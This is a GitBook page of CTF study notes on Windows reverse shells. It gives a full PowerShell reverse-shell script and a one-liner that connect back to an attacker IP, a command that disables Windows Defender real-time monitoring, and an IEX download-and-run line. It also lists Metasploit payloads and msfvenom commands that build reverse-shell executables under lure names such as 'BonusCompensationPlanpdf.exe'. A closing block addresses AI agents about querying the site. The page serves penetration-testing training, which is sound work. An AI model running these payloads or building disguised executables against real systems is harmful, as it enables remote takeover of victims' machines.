> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/vulnerability-assessment/shells-and-payloads/reverse-shell/windows-reverse-shell.md).

# Windows Reverse Shell

Reference: <https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#powershell>

Use a reverse shell when the target can connect back to your machine.

### Start a listener

```bash
sudo nc -lvnp <PORT>
```

{% hint style="info" %}
Use the IP address the target can actually reach.
{% endhint %}

### Disable AV:

```
PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true
```

### Trigger the reverse shell

Run the payload on the target.

Replace `10.0.0.1` and `4242` before you run it.

{% code title="PowerShell reverse shell" %}

```powershell
wershell$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    if (![string]::IsNullOrWhiteSpace($data)) {
        try {
            $sendback = (iex $data 2>&1 | Out-String)
        } catch {
            $sendback = $_.Exception.Message
        }
    } else {
        $sendback = "Empty command received.`n"
    }
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()
```

{% endcode %}

Payload as a file:

```bash
# Create the file
cat > shell.ps1 << 'EOF'
# payload here
EOF

# Serve it
python3 -m http.server 8080
```

```powershell
# Execute on target
IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP:8080/shell.ps1')
```

## Reverse Shells & Payload Generation

### PowerShell Payload

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

### Metasploit Payloads

#### Windows Payloads

Staged (Notice the `/` separating the stages)

* `windows/x64/meterpreter/reverse_tcp`
* `windows/x64/meterpreter/reverse_http`
* `windows/x64/meterpreter/reverse_https`
* `windows/x64/shell/reverse_tcp`
* `windows/x64/encrypted_shell/reverse_tcp`

Stageless (Notice the `_` combining the shell and network communication)

* `windows/x64/encrypted_shell_reverse_tcp`
* `windows/x64/powershell_reverse_tcp`
* `windows/x64/powershell_reverse_tcp_ssl`
* `windows/x64/meterpreter_reverse_http`
* `windows/x64/meterpreter_reverse_https`
* `windows/x64/meterpreter_reverse_tcp`

> Note: If a firewall blocks direct connections, try `reverse_https` or `reverse_dns`.

#### Cross-Platform Payloads

* `python/meterpreter/reverse_tcp`
* `php/meterpreter/reverse_tcp`

### MSFVenom Payload Creation

List all available payloads:

```bash
msfvenom -l payloads
```

Linux Payload Creation (ELF format):

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf
```

Windows Payload Creation (EXE format):

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > BonusCompensationPlanpdf.exe
```

> Note: Without encoding or encryption, raw executable payloads will likely be flagged by Antivirus (like Windows Defender) unless it is disabled.

### Catching the Payload (Listener)

Set up a Netcat listener on your attack box to catch the connection when the target executes your stageless payload (applies to both Linux `.elf` and Windows `.exe` files):

```bash
sudo nc -lvnp 443
```

### Next step

Upgrade the shell after the connection lands.

See [Fully Interactive TTY](/capcap/readme/ctf-modules/post-exploitation/fully-interactive-tty.md).

### Reference

* [Payload All The Things reverse shell cheat sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://capcap-1.gitbook.io/capcap/readme/ctf-modules/vulnerability-assessment/shells-and-payloads/reverse-shell/windows-reverse-shell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
